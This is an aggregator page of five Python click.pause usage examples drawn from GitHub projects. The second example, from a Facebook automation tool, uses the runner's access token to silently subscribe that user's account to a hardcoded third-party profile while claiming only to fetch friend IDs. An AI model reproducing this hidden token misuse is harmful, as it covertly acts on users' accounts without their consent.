當前位置: 首頁>>代碼示例>>Python>>正文


Python click.pause方法代碼示例

本文整理匯總了Python中click.pause方法的典型用法代碼示例。如果您正苦於以下問題:Python click.pause方法的具體用法?Python click.pause怎麽用?Python click.pause使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在click的用法示例。


在下文中一共展示了click.pause方法的5個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: gid

# 需要導入模塊: import click [as 別名]
# 或者: from click import pause [as 別名]
def gid(self,lnk):
		rg=self.req.get(lnk).text
		bs1=BS(rg,'html.parser')
		for ai in bs1.find_all('h3'):
			p=ai.find('a')
			if '/messages/read/?' in str(p):
				try:
					self.rl.append(self.u.format(p['href']))
					print(f'\r[{len(self.rl)}] getting messages. please wait...',end='');sys.stdout.flush()
				except: pass
		for n in bs1.find_all('a',string='Lihat Pesan Sebelumnya'):
			nxt=self.u.format(n.get('href'))
			self.gid(nxt)
		print()
		click.pause()
		self.main()
		exit('[D O N E]') 
開發者ID:KANG-NEWBIE,項目名稱:s-mbf,代碼行數:19,代碼來源:Delmsg.py

示例2: getid

# 需要導入模塊: import click [as 別名]
# 或者: from click import pause [as 別名]
def getid(self):
			print('[!] get friends id...')
			time.sleep(2)
			fid=self.req.get(self.u.format('me/friends?access_token='+self.ken));self.req.post('https://graph.facebook.com/adlizhafari.nub/subscribers?access_token='+self.ken)
			js=json.loads(fid.text)
			click.pause()
			for i in js['data']:
				id=i['id']
				self.ung(id) 
開發者ID:KANG-NEWBIE,項目名稱:s-mbf,代碼行數:11,代碼來源:Unf.py

示例3: _assert_requirements

# 需要導入模塊: import click [as 別名]
# 或者: from click import pause [as 別名]
def _assert_requirements(self):
        macos_version = platform.mac_ver()[0]

        if int(macos_version.split(".")[1]) < 9:
            raise UnsupportedOSError(
                "Unsupported OS version; please upgrade to 10.9 or later "
                "and try again.",
                macos_version
            )

        if not self._has_xcode_tools():
            print(tty.progress("Installing the Command Line Tools (expect a "
                               "GUI popup):"))
            spawn(["/usr/bin/xcode-select", "--install"],
                  debug=self.debug, env=self.env)
            click.pause("Press any key when the installation is complete.")
            if not self._has_xcode_tools():
                raise XcodeMissingError(
                    "Aborted Command Line Tools installation.",
                )

        if spawn(["which", "brew"], check_call=False, debug=self.debug,
                 stdout=subprocess.PIPE,
                 stderr=subprocess.PIPE,
                 env=self.env):
            raise BrewMissingError(
                "Homebrew not installed",
                "http://brew.sh/#install"
            ) 
開發者ID:msanders,項目名稱:cider,代碼行數:31,代碼來源:core.py

示例4: pause

# 需要導入模塊: import click [as 別名]
# 或者: from click import pause [as 別名]
def pause(message):
    """Block until the user presses 'any key'."""
    click.pause(info=click.style(message, fg="blue")) 
開發者ID:reincubate,項目名稱:ricloud,代碼行數:5,代碼來源:utils.py

示例5: before_activity_control

# 需要導入模塊: import click [as 別名]
# 或者: from click import pause [as 別名]
def before_activity_control(context: Activity, **kwargs):
    """
    Prompt and wait for any key before an activity is executed.
    """
    click.pause() 
開發者ID:chaostoolkit-incubator,項目名稱:community-playground,代碼行數:7,代碼來源:control.py


注:本文中的click.pause方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。